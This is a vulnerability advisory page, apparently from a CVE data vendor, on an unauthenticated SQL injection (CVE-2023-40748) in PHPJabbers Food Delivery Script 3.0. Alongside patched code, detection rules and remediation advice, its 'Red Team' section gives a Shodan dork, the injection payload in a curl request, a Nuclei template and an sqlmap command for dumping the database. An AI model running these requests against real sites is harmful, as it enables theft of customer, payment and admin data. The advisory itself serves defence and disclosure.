CVE-2023-40748
Executive Summary
CVE-2023-40748 is a critical SQL injection vulnerability in PHPJabbers Food Delivery Script version 3.0. The flaw resides in the q parameter of index.php, allowing unauthenticated remote attackers to inject arbitrary SQL commands. Successful exploitation can lead to full database compromise, including extraction of customer orders, payment details, delivery addresses, and admin credentials. The vulnerability has a CVSS score of 9.8 (Critical) and is publicly exploitable via a verified Nuclei template. No official patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a commercial PHP application (PHPJabbers Food Delivery Script) and is not distributed via NPM, PyPI, Go, or Ruby package managers. The risk is limited to direct deployments of the script. Users should verify the integrity of their installation and monitor for any vendor updates.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and public exploit code exists.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the q parameter of the index.php controller. The application fails to sanitize user input before incorporating it into SQL queries. The Nuclei template demonstrates a POST request to:
/index.php?controller=pjAdminOrders&action=pjActionGetNewOrder&column=created&direction=ASC&page=1&rowCount=50&q=-1910') OR 6100=6100#&type=
The injected payload -1910') OR 6100=6100# breaks out of the SQL string context (using a single quote and closing parenthesis) and appends a tautology (OR 6100=6100). The # character comments out the remainder of the query, preventing syntax errors. The server responds with a 200 status and specific error messages if the injection is successful.
The vulnerable parameter is likely used in a WHERE clause or LIKE operator without parameterized queries. The exact vulnerable code path is in the pjAdminOrders controller's pjActionGetNewOrder action.
Vulnerable vs. Patched Code
Vulnerable Code (PHPJabbers Food Delivery Script 3.0):
// index.php (simplified)
$q = $_GET['q'];
$sql = "SELECT * FROM orders WHERE order_id LIKE '%$q%'";
$result = mysqli_query($conn, $sql);
Patched Code (Recommended):
// index.php (patched)
$q = $_GET['q'];
$stmt = $conn->prepare("SELECT * FROM orders WHERE order_id LIKE ?");
$searchTerm = '%' . $q . '%';
$stmt->bind_param("s", $searchTerm);
$stmt->execute();
$result = $stmt->get_result();
The patch uses prepared statements with parameterized queries, which prevents SQL injection by separating SQL logic from user data.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A target running PHPJabbers Food Delivery Script 3.0
- Network access to the application
Exploitation Steps:
Reconnaissance: Identify the target application by searching for "PHPJabbers" in HTML source or using Shodan dork
html:"PHPJabbers".Craft Payload: Use the following POST request to test for SQL injection:
curl -X POST "http://target.com/index.php?controller=pjAdminOrders%26action%3dpjActionGetNewOrder%26column%3dcreated%26direction%3dASC%26page%3d1%26rowCount%3d50%26q%3d-1910%27)+OR+6100%3d6100%23%26type%3d"
Verify Injection: If the response contains "class pjAdminOrdersaction" and "didn't exists", the injection is successful.
Extract Data: Use SQLmap or manual injection to enumerate tables and dump data:
sqlmap -u "http://target.com/index.php?controller=pjAdminOrders&action=pjActionGetNewOrder&column=created&direction=ASC&page=1&rowCount=50&q=1&type=" --data="q=1" --batch --dump
Expected Outcome: Full database dump including admin credentials, customer PII, and payment records.
Blue Team
Detection & Response:
Monitor Web Logs: Look for requests to
index.phpwith thecontroller=pjAdminOrdersparameter and suspiciousqvalues containing SQL keywords (OR, UNION, SELECT, etc.).WAF Rules: Block requests containing SQL injection patterns in the
qparameter.Network Segmentation: Isolate the web server from the database server to limit lateral movement.
Incident Response: If exploitation is detected:
- Isolate the affected server
- Review database logs for unauthorized queries
- Rotate all credentials stored in the database
- Apply virtual patching via WAF until official fix is available
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/index.phpwithcontroller=pjAdminOrdersandqparameter containing SQL injection patterns - HTTP responses containing "class pjAdminOrdersaction" and "didn't exists"
- Outbound database connections from the web server to unusual IPs
- POST requests to
File IOCs:
- Modified
index.phpor other PHP files (if attacker uploads webshell) - Suspicious files in
/uploads/or/tmp/directories
- Modified
Log IOCs:
- Database error logs showing SQL syntax errors
- Web server access logs with encoded SQL payloads in the
qparameter
Detection Engineering
YARA Rule
rule CVE_2023_40748_SQLi_Detection {
meta:
description = "Detects SQL injection attempts targeting CVE-2023-40748 in PHPJabbers Food Delivery Script"
author = "Valters IT"
date = "2025-04-16"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-40748"
severity = "critical"
strings:
$sqli_pattern1 = /q=.*['\"]\s*OR\s+\d+=\d+/ nocase
$sqli_pattern2 = /q=.*['\"]\s*UNION\s+SELECT/ nocase
$sqli_pattern3 = /q=.*['\"]\s*AND\s+\d+=\d+/ nocase
$sqli_pattern4 = /controller=pjAdminOrders/ nocase
condition:
any of ($sqli_pattern*) and $sqli_pattern4
}
Sigma Rule
title: CVE-2023-40748 SQL Injection Attempt
id: 7a8b3c2d-1e4f-5a6b-7c8d-9e0f1a2b3c4d
status: experimental
description: Detects SQL injection attempts against PHPJabbers Food Delivery Script CVE-2023-40748
author: Valters IT
date: 2025-04-16
references:
- https://nvd.nist.gov/vuln/detail/CVE-2023-40748
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'controller=pjAdminOrders'
cs-uri-query|contains|all:
- 'q='
- 'OR'
- '='
condition: selection
falsepositives:
- Legitimate use of the letter 'OR' in search queries (rare)
level: high
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2023-40748 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/index.php"; http_uri; content:"controller=pjAdminOrders"; http_uri; content:"q="; http_uri; pcre:"/q=.*['\"]\s*OR\s+\d+=\d+/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Nuclei Template
id: CVE-2023-40748
info:
name: PHPJabbers Food Delivery Script - SQL Injection
author: ritikchaddha
severity: critical
description: |
PHPJabbers Food Delivery Script 3.0 has a SQL injection (SQLi) vulnerability in the "q" parameter of index.php.
impact: |
Unauthenticated attackers can exploit SQL injection in the q parameter to extract sensitive database information including customer orders, payment details, delivery addresses, and admin credentials from the Food Delivery platform.
remediation: |
Update PHPJabbers Food Delivery Script to a version newer than 3.0 that properly sanitizes the q parameter and uses parameterized queries.
reference:
- https://medium.com/@tfortinsec/multiple-vulnerabilities-in-phpjabbers-part-3-40fc3565982f
- https://nvd.nist.gov/vuln/detail/CVE-2023-40748
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-40748
cwe-id: CWE-89
epss-score: 0.44459
epss-percentile: 0.97578
cpe: cpe:2.3:a:phpjabbers:food_delivery_script:3.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
shodan-query: html:"PHPJabbers"
vendor: phpjabbers
product: food_delivery_script
tags: cve,cve2023,phpjabbers,food-delivery,sqli,vuln,vkev
http:
- method: POST
path:
- "{{BaseURL}}/index.php?controller=pjAdminOrders%26action%3dpjActionGetNewOrder%26column%3dcreated%26direction%3dASC%26page%3d1%26rowCount%3d50%26q%3d-1910%27)+OR+6100%3d6100%23%26type%3d"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "class <strong>pjAdminOrdersaction"
- "didn't exists"
condition: and
- type: status
status:
- 200
# digest: 4b0a00483046022100bf37a330254ecc72dca9ee059d866642aa07e067714ece74a0108521db639f1b022100f3ce51ef70437abcea075b85fc46dd122e97590bd46270e508a7079ace9bc3ff:922c64590222798bb761d5b6d8e72950
Remediation & Mitigation
Immediate Actions:
- Virtual Patching: Deploy WAF rules to block SQL injection patterns in the
qparameter. - Input Validation: Implement strict input validation for the
qparameter (allow only alphanumeric characters and spaces). - Database Hardening: Restrict database user privileges to only necessary operations (no DROP, INSERT, or DELETE for the web application user).
Long-Term Fix:
- Code Rewrite: Replace all dynamic SQL queries with prepared statements or parameterized queries.
- Vendor Update: Monitor PHPJabbers for an official patch. If none is released, consider migrating to an alternative solution.
- Security Audit: Conduct a full security audit of the application to identify similar vulnerabilities.
Verification:
- After applying patches, re-run the Nuclei template to confirm the vulnerability is mitigated.
- Use static analysis tools to scan for remaining SQL injection points.
Valters IT
{/* [Security Hash: F5B0433DC28A7BB200A095D8] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.